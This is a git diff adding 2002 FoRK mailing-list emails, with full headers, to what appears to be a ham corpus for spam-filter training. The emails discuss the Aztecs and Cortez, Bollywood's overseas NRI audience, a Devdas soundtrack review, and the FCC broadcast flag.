+-- +Best regards, + bitbitch mailto:bitbitch@magnesium.net + + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01059.5ffb15c6c0396744fc346988cd91053f b/bayes/spamham/easy_ham_2/01059.5ffb15c6c0396744fc346988cd91053f new file mode 100644 index 0000000..fdc755e --- /dev/null +++ b/bayes/spamham/easy_ham_2/01059.5ffb15c6c0396744fc346988cd91053f @@ -0,0 +1,67 @@ +From fork-admin@xent.com Mon Aug 19 11:04:28 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B82D2441AE + for ; Mon, 19 Aug 2002 05:55:29 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:29 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7HJfS608781 for ; + Sat, 17 Aug 2002 20:41:30 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 380F42940F0; Sat, 17 Aug 2002 12:39:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net + [207.69.200.157]) by xent.com (Postfix) with ESMTP id E9510294098 for + ; Sat, 17 Aug 2002 12:38:15 -0700 (PDT) +Received: from user-119ac86.biz.mindspring.com ([66.149.49.6]) by + tisch.mail.mindspring.net with esmtp (Exim 3.33 #1) id 17g9Pl-0001Ti-00; + Sat, 17 Aug 2002 15:39:14 -0400 +MIME-Version: 1.0 +X-Sender: rahettinga@pop.earthlink.net +Message-Id: +In-Reply-To: +References: <58113821767.20020816230818@magnesium.net> + +To: Gary Lawrence Murphy , bitbitch@magnesium.net +From: "R. A. Hettinga" +Subject: Re: Al'Qaeda's fantasy ideology: Policy Review no. 114 +Cc: fork@spamassassin.taint.org +Content-Type: text/plain; charset="us-ascii" +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sat, 17 Aug 2002 14:46:15 -0400 + +At 12:35 AM -0400 on 8/17/02, Gary Lawrence Murphy wrote: + + +> Wasn't the Aztec population that greeted Cortez already largely +> decimated by the microbiology brought over by DeSoto nearly a hundred +> years before? + +>>From my PBS education (Michael whatsisname, the "Alexander" guy, among +other things) on the subject, I believe the smallpox stuff happened +*during* the invasion. The conquistadores themselves were, in fact, disease +vectors. +-- +----------------- +R. A. Hettinga +The Internet Bearer Underwriting Corporation +44 Farquhar Street, Boston, MA 02131 USA +"... however it may deserve respect for its usefulness and antiquity, +[predicting the end of the world] has not been found agreeable to +experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01060.95d3e0a8c47b33d1533f18ac2c60c81a b/bayes/spamham/easy_ham_2/01060.95d3e0a8c47b33d1533f18ac2c60c81a new file mode 100644 index 0000000..b8d4821 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01060.95d3e0a8c47b33d1533f18ac2c60c81a @@ -0,0 +1,374 @@ +From fork-admin@xent.com Mon Aug 19 11:04:38 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 11BF5441AF + for ; Mon, 19 Aug 2002 05:55:34 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:34 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7HNJd614509 for ; + Sun, 18 Aug 2002 00:19:46 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id C92EB2940F1; Sat, 17 Aug 2002 16:17:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from alumnus.caltech.edu (alumnus.caltech.edu [131.215.49.51]) + by xent.com (Postfix) with ESMTP id 8C09A294098 for ; + Sat, 17 Aug 2002 16:16:47 -0700 (PDT) +Received: from dhcp31-164.ics.uci.edu (localhost [127.0.0.1]) by + alumnus.caltech.edu (8.12.3/8.12.3) with ESMTP id g7HNI2Sw013464; + Sat, 17 Aug 2002 16:18:02 -0700 (PDT) +Subject: Some notes on Bollywood movies hitting it big abroad +Content-Type: text/plain; charset=WINDOWS-1252; format=flowed +MIME-Version: 1.0 (Apple Message framework v482) +Cc: Archie Khare , mxk1@cdc.gov, + Kakoli Mitra +To: fork@spamassassin.taint.org +From: Rohit Khare +Message-Id: <989378CE-B237-11D6-90D8-000393A46DEA@alumni.caltech.edu> +X-Mailer: Apple Mail (2.482) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sat, 17 Aug 2002 16:18:10 -0700 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g7HNJd614509 + +NRI Number One + +Expats help Hindi films make dollars and sense even at their own expense + +By JEANNE E. FREDRIKSEN + +The expatriate in films is nothing new. Casablanca starring Humphrey +Bogart as the suave, mysterious Rick in Morocco remains the top favorite +60 years after its release in America. Although expat characters' lives +are traditionally painted as being extraordinary, the simple fact that +they live "elsewhere" adds a sense of adventure, a dash of romance, and +a bit of wishful longing. However, expats have never made the kind of +impact on films that non-resident Indians (NRIs) have with Hindi cinema, +both at the box office and on the big screen. + +According to India's 2001 census, the country's population exceeded the +1 billion persons milestone, and there are approximately 11 million +Indians living, working, and studying elsewhere around the world. NRIs +have become a serious market for the Hindi film industry, particularly +in the U.K., where approximately 3 percent of the population is +Indian/Pakistani, and in the U.S., where 1.7 million out of 281.5 +million people are Indian. The rupee box office is now augmented quite +handsomely by the dollar-and-pound box office, much to the delight of +directors and producers. + +Among the films reporting a half-to-three-quarters-of-a-million-dollar +box office in the U.S. or the U.K. are Aa Ab Laut Chalen (1999), Kaho +Naa Pyaar Hai (2000), Refugee (2000), Lajja (2001), and Asoka (2001). +The NRI "million-dollar-box-office club" boasts such films as Yaadein +(2001) and Lagaan (2001) in the U.S. Taal (1999), Hum Saath Saath Hain +(HSSH, 1999), and Mohabbatein (2000) made the mark or better in the U.K. +Taal and HSSH doubled their U.K. intakes in the U.S. and brought in $2 +million each. Kuch Kuch Hota Hai (1998) tallied up $2.6 million in the +U.K. Most recently, setting a new high-water mark in the overseas box +office, Kabhi Khushi Kabhie Gham (K3G, 2001) grabbed the No. 10 spot its +first week of release in the U.S. and earned $2.9 million during its +five-week run. In the U.K., K3G earned nearly $3.6 million over an 18 +week run. + +Impressive? Yes, considering that promotion of Hindi films outside of +the Indian community is virtually zero, although that may be on the +brink of changing slightly. If nothing else, the figures indicate that +the NRI spends a big chunk of change on the films. + +During the past decade, the inclusion of NRI characters in both +commercial and non-commercial films has been on the rise, and in a +circular logic, it's only natural that they have become a part of these +films' stories. Each NRI touches someone in India, and these "global +Indians," as filmmaker Subhash Ghai has called them, cannot be shrugged +off as a passing phase. Films featuring or "made for" NRIs have been +criticized by some in India, but in reality, many of those films have +performed extremely well at the Indian box office. Could this speak to +the lure of adventure and the romance of the NRI? + +The first Hindi blockbuster to spotlight NRI characters was Dilwale +Dulhania Le Jayenge (DDLJ, 1995), the story of two young people who grew +up Indian in London. DDLJ introduced us to the mischievous, +prank-pulling Raj, who in the beginning fails to graduate but succeeds +in pilfering a case of beer from an Indian-owned convenience store. In +the end, he steadfastly applies Indian sensibilities in his pursuit of +the rebellious-but-trapped Simran as her unwanted arranged marriage +approaches. Very possibly, because of this juxtaposition of traits, +attitudes, and events, DDLJ enjoys the distinction of being the +longest-continually-running film in Indian cinema history. + +Popularity aside, there is the ongoing issue regarding accuracy in the +characterization of NRIs in films. Often they are drawn as stereotypes, +which are easy to lean on, requiring neither depth nor dimension. +Because of this, Hindi filmmakers may be said to straddle the border +separating East and West, staying securely at home and dipping into +their highly-fantasized world of the Indian diaspora. + +In many cases, commercial Hindi films present an overly-devised sense of +the NRI as being either corruptly-Westernized or as being more homesick +than a child gone away to camp for the first time. While these concepts +may carry a certain truth, the corresponding misconceptions come from +the minds of the at-home Indians, who wag a seemingly-envious finger at +the NRI's ability to exist in two worlds: one allowing space and upward +mobility, the other offering traditions and history. + +Pompous, materialistic, alcohol-drinking, cigarette-smoking, +drug-taking, affair-having, spoiled brats … + +The first Hindi film I saw was Subhash Ghai's Pardes (1997). Despite +encouraging me to see more films, it made me wonder if "NRI" actually +meant "Not Really Indian." If the NRI characters weren't silly, whiney +troublemakers, they were mean and nasty, embracing every possible +negative human quality in stark contrast to the pristine Kusum Ganga. +Even the dialogue and song lyrics in the film were designed to instruct +the viewer that the West is inferior but one can still bring India back +into one's life. The film is propaganda at its finest and filled with +relentless reminders of good vs. evil, purity vs. corruption, right vs. +wrong, traditional vs. modern … in short India vs. the West. + +But this is not where the negativity ends. + +Very often, there is a "dress code" for the female characters to help +the viewer understand her measure of purity or wickedness: the more +traditionally-dressed, the more Indian the woman. Unsurprisingly, this +does not seem to carry over to the men's characters. + +Running alongside this can be the "training guide" in which NRIs are +constantly reeducated that "This is not India …," "This is not America +…," "Only in India …," "This is our culture." The repetition seems less +designed to be a natural part of life than to foster reinforcement, as +if NRIs are too ignorant to appreciate it the first time. + +When Indians achieve success and wealth, have large homes, and own their +companies in these films, they are industrious, clever, and respected +businessmen. The NRI equivalent is held up to a double standard and +considered materialistic. Even the printed synopsis of Taal in the Eros +Entertainment/B4U DVD booklet refers to the NRI characters' "world of +ruthless materialism." On the other hand, the Mumbai-based, plagiarizing +Vikrant Kapoor character is likeable enough and presented as an +opportunist, which seems to be a step up. + +Italy is an unlikely origin for an NRI and offspring in a Hindi film, +but Hum Dil De Chuke Sanam (2000) filled the bill. For all the film's +splendor, it was regrettable that the Indo-Italian Sameer was presented +as a naïve, bumbling nerd who had little going for him beyond his +singing ability. + +Yaadein gave us a kind and loving, if slightly confused, single parent +from London raising three daughters who suffer enough issues to put a +therapist into a tailspin. As if that weren't enough, the film includes +an American-raised brat who wants nothing to do with parents, settling +down, or having babies—hardly the ideal Indian bride-to-be. + +And what happens when a married NRI couple splits into the "modern" vs. +the "old-fashioned?" The wife is tossed out like the garbage and sent +home to India as punishment for being unreceptive to having affairs +outside of marriage. Such is the initial setup for Lajja, Rajkumar +Santoshi's look into the world of Indian women. + +Show me the way to go home … + +The other extreme of NRIs in film is the homesick, culture-craving, +more-patriotic-than-thou Indian. Building their own mini-Indias for +maxi-memories, this NRI portrayal takes a real issue and magnifies it to +unreal proportions. And no film illustrates that as extravagantly as the +lush and sumptuous Kabhi Khushi Kabhi Gham (K3G). + +Not only did K3G enjoy a healthy run at home, it exploded worldwide onto +theater screens in Indian communities last December and played to packed +houses for weeks. And K3G is a film in which everything—homes, +transportation, finances, fashion, holidays, events, emotions, and +tears—sets a new standard for the term "larger-than-life." + +In K3G, much of the post-interval footage takes place in England. For +Anjali, life in London simmers with a patriotic zeal and an +all-consuming homesickness manifested in the meticulous maintenance of +Indian customs and rituals while she separates herself from her +surroundings. Her need for India is so overwhelming that she relies on +the false protection of mocking people and places outside of her own +family and home. + +Overkill? Certainly, as writer-director Karan Johar's inflated +representation of what have become some of the filmi passions of the +typical NRI. But when it boils down to the common denominators without +the fanfare, flash, and fervor, even those who move across country miss +their families and familiar surroundings; one always retains a credible +amount of home-turf loyalty; and if one's heritage is lost, the person +is rendered as no more than a racial statistic. + +"Those living in India are surrounded by our culture every minute, even +if they don't realize it," says Vivek Malhotra, a thirty-something NRI +and business owner in the Chicago area. "Here it's different, but we +will always be Indian," he continues, striking at the heart of the +perceived problem. "Sometimes, I feel that the movies think we've +forgotten that. Maybe the filmmakers should spend some time finding out +who we are. I really don't think they have a clue." + +On the upside is a beneficial aspect for the children of NRIs. "It's +good that these films show our kids what happens in India—the +traditions, customs, values," says Parag Gandhi, a long time theater +owner and promoter of Hindi films in Chicago. "They may be modernized in +India, but the traditional values remain." And many popular films target +the late-teens, twenty-something demographic. "Films such as Dilwale +Dulhania Le Jayenge, Kuch Kuch Hota Hai, and K3G," adds Gandhi, "are +examples of films that are half traditional, half modern, striking a +balance between the two for all of the markets." + +Another positive consideration is that not all films show NRIs in a +questionable light. Caricatures of NRIs have been challenged in +commercial films like Kaho Naa Pyaar Hai, Dil Chhata Hai (2001), Monsoon +Wedding (2001), and the recent Kitne Door Kitne Paas, all of which +present NRIs as more realistic, more human characters. Aa Ab Laut Chalen +offers a variety of NRI personalities from the selfish, the conniving, +and the party animal to the lovable cabbies and the pandit-cop who make +the best of their situations without complaint. Interestingly, the film +also dares to include shop owners, Dunkin' Donuts clerks, gas station +attendants: characters who aren't weighed down by palatial surroundings, +corporate crises, or overseas judgments. + +The U.S., the U.K., and Australia are represented in Bombay Boys (1999) +by three young men coming/returning to Bombay, India for personal +reasons. In a refreshing reversal of the typical attitude concerning +NRIs in film, the boys are the "good" Indians, and everyone they meet +has some relationship with the darker side of the city. At its most +basic, the film shows that if something is lost, it won't necessarily be +found in India. + +Even the non-commercial, multi-award-winning Bawandar (2001) +incorporates an NRI as a connecting thread in the piecing together of +Sanvri Devi's story. Curious, passionate about women's rights, the +Indo-English journalist represents the fact that the story has a wider +interest than a small, rural village. + +Stepping outside of the Hindi film industry for a moment, the +English/Telegu film Hyderabad Blues (1998) and the English/Tamil film +Mitr—My Friend (2002), both smaller-budget films built on delivering +messages without preaching, deserve mention. The former engages in the +questioning of, rather than the criticism of, East vs. West, and the +latter examines the challenges faced by women, NRIs, and their families. +The characters and stories of both films enjoy respect in their +presentation, partially due to the existence of layered issues that are +revealed and resolved (or not) without finger-snapping swiftness or +clichéd answers. Hyderabad Blues enjoyed a 31-week run in Mumbai alone, +and Mitr—My Friend is currently one of the most-rented films in Indian +communities in the U.S. + +While the inclusion of NRIs in Hindi films does not guarantee box office +success outside of India, it does send a strong signal that filmmakers +acknowledge this constantly growing and lucrative audience sector. If +the big-budget, big box-office commercial films coming out of Mumbai +often seem to bite one of the hands that feeds it, has the box office +anywhere been adversely affected? Well … no, not by any charted reports +that can be found. And that, itself, sends a loud and clear message back +to the industry in Mumbai: "if it isn't broken, don't fix it." + +Nevertheless, when filmmakers who see NRIs as falling only to the evil +side of Western ways look beyond their assumptions, perhaps they will +discard their reliance on stereotypes and start paying their overseas +family an increased measure of respect. And when filmmakers who take the +homesick and patriotic themes beyond believability analyze their own +feelings, perhaps they will realize that what NRIs hold dear in their +hearts is no different from what those at home should be proud of. n + +NOTE: All box office figures are reported as US$ and are courtesy of +Variety Magazine online archives. Not all Hindi films abroad report box +office, and not all box office reports are available. + +Jeanne E. Fredriksen writes from Chicago. She is family with, friends +with, acquainted with, and works for NRIs with an amazing variety of +personalities, attitudes, hopes, dreams, goals, livelihoods, needs, +wants, and beliefs. + +========================================= +  +Dilwale Dulhaniya Le Jayenge + +So globally successful is the film that in 1999 it warranted a billboard +outside Shinjuku train station in Tokyo, Japan, announcing its +screenings sponsored by India Center there. Shinjuku is the +entertainment center of Tokyo, and there is plenty of high-profile +competition for attention, attendance, and box office. In Japan, where +Indian films enjoy a certain popularity with the natives, the country's +1995 population census of 125.6 million persons showed only 4,244 were +Indian with an additional 13,589 being other South Asians. Without +question, DDLJ continues to be a favorite whenever, wherever offered for +viewing. + +Kabhi Khushi Kabhie Gham + +According to a report in the South China Morning Post in January, 2002, +all screenings of K3G in December, 2001, were sell-outs in Hong Kong, +while pirated copies of the film were the hottest items circulating on +the island. Hong Kong's 2001 population census of 6.3 million people +revealed that 18,543 were Indian and another 23,581 were Nepalese and +Pakistani. K3G's popularity in the Special Administrative Region was +impressive because Hong Kong enjoys being the third-largest producer of +films by volume after India and the U.S.   + + +===================================================== +Bhansali's Musical Heaven + +By ANIRUDDH CHAWDA + +DEVDAS (Universal, 2002). Hindi film soundtrack. Music: Ismail Darbar. +Lyrics: Nusrat Badr + +For perhaps the most eagerly anticipated film of the year, filmmaker +Sanjay Leela Bhansali's Devdas had to deliver a score that not only met +the hype but also let Ismail Darbar prove that the mega-selling Hum Dil +De Chuke Sanam was no one-time flash in the pan. By devising a +semi-classical, once-in-a-decade, 100 percent "Indian" musical score, +Bhansali and Darbar emerge victorious in baking and serving a 10-layer +monumental soundtrack. + +What is most groundbreaking is the powerful one-two punch of lyrics by +newcomer Nusrat Badr and the from-soul-voice of first-timer Shreya +Ghosal. Ghosal's voice, reminiscent of both Suman Kalyanpur with a +slightly thicker pitch and Anuradha Paudwal without the nasal monotone, +is the most original singing voice since Kavita Subramaniam appeared in +the Mangeshkar mold. Ghosal's "Silsila ye chaahat ka" is a sultry +tabla-dominated opening to 52 minutes of sheer musical bliss. "Maar +daala" (Subramaniam, KK) is an excellent example of the use of classical +ragas to complement, rather than fill-in, interludes between verses. On +"Kahe chhed," Pandit Birju Maharaj, using his own tune, adds an +intoxicating opening for Madhuri Dixit's vocals and Subramaniam to +finish out a piercing song of longing. + +While a combination of Ghosal and Subramaniam give life to on-screen +lip-synching for Madhuri Dixit and Aishwarya Rai, on the male side Udit +Narayan fronts for Shah Rukh Khan. Narayan's on-target "Bairi piya," a +duet with Ghosal, could find company in many Lata-Rafi duets of yore. +The up-tempo "Chalak chalak" again smoothly floats Narayan with Vinod +Rathod and Ghosal while Subramaniam and Ghosal's jugalbandhi on "Dola re +dola" simply shakes the rafters. + +Packaged in Universal's Bombay plant, the earliest CD pressings have a +cheap, paper-thin casing. Purists may consider replacing the cheap cover +with a store-bought sturdier one. At a suggested Bombay retail value of +about $2 and selling like hot cakes stateside for $10 a pop, Devdas is +without doubt a huge profit-maker for the multinational music marketer. +But buyers beware: avoid being distracted by bootleg CDs. This +exceptional music and exceptionally well-recorded CD deserve +unadulterated musical glory. Pop in only a properly copyrighted, +original CD and let Darbar & Co. whisk you away on a magical musical +ride. + +Lifelong cinephile Aniruddh Chawda lives, works, and writes from +Wisconsin, on America's north coast. + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01061.c4f15278aa6a4a993287302c744e6c22 b/bayes/spamham/easy_ham_2/01061.c4f15278aa6a4a993287302c744e6c22 new file mode 100644 index 0000000..920ba80 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01061.c4f15278aa6a4a993287302c744e6c22 @@ -0,0 +1,88 @@ +From fork-admin@xent.com Mon Aug 19 11:04:44 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 884BA440FD + for ; Mon, 19 Aug 2002 05:55:37 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:37 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7I10b619646 for ; + Sun, 18 Aug 2002 02:00:41 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 4E2CD2940F4; Sat, 17 Aug 2002 17:58:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mail.evergo.net (unknown [206.191.151.2]) by xent.com + (Postfix) with SMTP id 37A75294098 for ; Sat, + 17 Aug 2002 17:57:45 -0700 (PDT) +Received: (qmail 19363 invoked from network); 18 Aug 2002 00:59:02 -0000 +Received: from dsl.206.191.151.102.evergo.net (HELO JMHALL) + (206.191.151.102) by mail.evergo.net with SMTP; 18 Aug 2002 00:59:02 -0000 +Reply-To: +From: "John Hall" +To: "'Gary Lawrence Murphy'" , + +Cc: +Subject: RE: Al'Qaeda's fantasy ideology: Policy Review no. 114 +Message-Id: <002401c24652$725b64d0$0200a8c0@JMHALL> +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook, Build 10.0.2627 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Importance: Normal +In-Reply-To: +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sat, 17 Aug 2002 17:59:03 -0700 + +My understanding was 'not really'. They suffered while Cortez was +there, but they were hardy and exceptionally numerous when he landed. + +That is from C&C and also another book that I admit I only got half way +through (but long enough for Cortez to get kicked out of the city). + +John Hall +13464 95th Ave NE +Kirkland WA 98034 + + +> -----Original Message----- +> From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of +Gary +> Lawrence Murphy +> Sent: Friday, August 16, 2002 9:35 PM +> To: bitbitch@magnesium.net +> Cc: fork@spamassassin.taint.org +> Subject: Re: Al'Qaeda's fantasy ideology: Policy Review no. 114 +> +> +> Wasn't the Aztec population that greeted Cortez already largely +> decimated by the microbiology brought over by DeSoto nearly a hundred +> years before? +> +> -- +> Gary Lawrence Murphy TeleDynamics Communications +Inc +> Business Advantage through Community Software : +http://www.teledyn.com +> "Computers are useless. They can only give you answers."(Pablo +Picasso) +> +> http://xent.com/mailman/listinfo/fork + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01062.c3ae3607086673865133b1ba720fe57f b/bayes/spamham/easy_ham_2/01062.c3ae3607086673865133b1ba720fe57f new file mode 100644 index 0000000..cb602fc --- /dev/null +++ b/bayes/spamham/easy_ham_2/01062.c3ae3607086673865133b1ba720fe57f @@ -0,0 +1,61 @@ +From fork-admin@xent.com Mon Aug 19 11:04:55 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 81E7B441B0 + for ; Mon, 19 Aug 2002 05:55:38 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:38 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7I1RU620386 for ; + Sun, 18 Aug 2002 02:27:32 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 68FA62940F6; Sat, 17 Aug 2002 18:25:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from relay.pair.com (relay1.pair.com [209.68.1.20]) by xent.com + (Postfix) with SMTP id 0357F294098 for ; Sat, + 17 Aug 2002 18:24:21 -0700 (PDT) +Received: (qmail 52832 invoked from network); 18 Aug 2002 01:25:41 -0000 +Received: from adsl-66-124-226-181.dsl.snfc21.pacbell.net (HELO golden) + (66.124.226.181) by relay1.pair.com with SMTP; 18 Aug 2002 01:25:41 -0000 +X-Pair-Authenticated: 66.124.226.181 +Message-Id: <006c01c24656$2a052ff0$640a000a@golden> +From: "Gordon Mohr" +To: +References: <002401c24652$725b64d0$0200a8c0@JMHALL> +Subject: Mailing addresses against spam? Re: Al'Qaeda's fantasy ideology: Policy Review no. 114 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sat, 17 Aug 2002 18:25:39 -0700 + +John Hall signs his message: +> John Hall +> 13464 95th Ave NE +> Kirkland WA 98034 + +Is this some new "I'm not spam" signal, to include a +valid mailing address? + +- Gordon + + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01063.b3eec2a3bcfc16d318769dc40cc8ff8f b/bayes/spamham/easy_ham_2/01063.b3eec2a3bcfc16d318769dc40cc8ff8f new file mode 100644 index 0000000..1a392b0 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01063.b3eec2a3bcfc16d318769dc40cc8ff8f @@ -0,0 +1,87 @@ +From fork-admin@xent.com Mon Aug 19 11:05:02 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 766C2441B1 + for ; Mon, 19 Aug 2002 05:55:39 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:39 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7I39T623434 for ; + Sun, 18 Aug 2002 04:09:32 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id A96222940C1; Sat, 17 Aug 2002 20:07:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from maynard.mail.mindspring.net (maynard.mail.mindspring.net + [207.69.200.243]) by xent.com (Postfix) with ESMTP id 03974294098 for + ; Sat, 17 Aug 2002 20:06:20 -0700 (PDT) +Received: from user-119ac86.biz.mindspring.com ([66.149.49.6]) by + maynard.mail.mindspring.net with esmtp (Exim 3.33 #1) id 17gGPR-0001aU-00; + Sat, 17 Aug 2002 23:07:21 -0400 +MIME-Version: 1.0 +X-Sender: rahettinga@pop.earthlink.net +Message-Id: +To: Digital Bearer Settlement List , + cypherpunks@lne.com, cyberia-l@listserv.aol.com, dcsb@ai.mit.edu, + irr@tb.tf, fork@xent.com +From: "R. A. Hettinga" +Subject: IP: The FCC NPRM on the Broadcast Flag +Content-Type: text/plain; charset="us-ascii" +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sat, 17 Aug 2002 23:06:58 -0400 + + +--- begin forwarded text + + +Delivered-To: ip-sub-1-outgoing@admin.listbox.com +Delivered-To: ip-sub-1@majordomo.pobox.com +User-Agent: Microsoft-Entourage/10.1.0.2006 +Date: Sat, 17 Aug 2002 21:27:04 -0400 +Subject: IP: The FCC NPRM on the Broadcast Flag +From: Dave Farber +To: ip +Sender: owner-ip-sub-1@admin.listbox.com +Reply-To: farber@cis.upenn.edu + +I am in data gathering mode preparatory to writing a response to the FCC +NPRM on the Digital Broadcast flag. While I was at the FCC I had a set of +opportunities to hear out the media companies about that and I was +unconvinced then that it was a good idea. I am more convinced now that it is +not wise. + +I am interested in Ipers opinions on this -- for and against and will share +the responses when I digest them. (as well as credit the ideas in the +response (with or without attribution -- your call)). + +Dave + + +For archives see: +http://www.interesting-people.org/archives/interesting-people/ + +--- end forwarded text + + +-- +----------------- +R. A. Hettinga +The Internet Bearer Underwriting Corporation +44 Farquhar Street, Boston, MA 02131 USA +"... however it may deserve respect for its usefulness and antiquity, +[predicting the end of the world] has not been found agreeable to +experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01064.b69028c0ed5d57d1d99f50b191c0790a b/bayes/spamham/easy_ham_2/01064.b69028c0ed5d57d1d99f50b191c0790a new file mode 100644 index 0000000..096794c --- /dev/null +++ b/bayes/spamham/easy_ham_2/01064.b69028c0ed5d57d1d99f50b191c0790a @@ -0,0 +1,63 @@ +From fork-admin@xent.com Mon Aug 19 11:05:15 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 066EF441B2 + for ; Mon, 19 Aug 2002 05:55:42 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:42 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7IG2W614944 for ; + Sun, 18 Aug 2002 17:02:34 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 2AA022940C1; Sun, 18 Aug 2002 09:00:09 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from barrera.org (cpe-65-172-233-109.sanbrunocable.com + [65.172.233.109]) by xent.com (Postfix) with ESMTP id 8909B294098 for + ; Sun, 18 Aug 2002 08:59:23 -0700 (PDT) +Received: from (127.0.0.1 [127.0.0.1]) by MailEnable Inbound Mail Agent + with ESMTP; Sun, 18 Aug 2002 16:00:34 -08:00 +Message-Id: <3D5FC4A2.6000903@barrera.org> +From: "Joseph S. Barrera 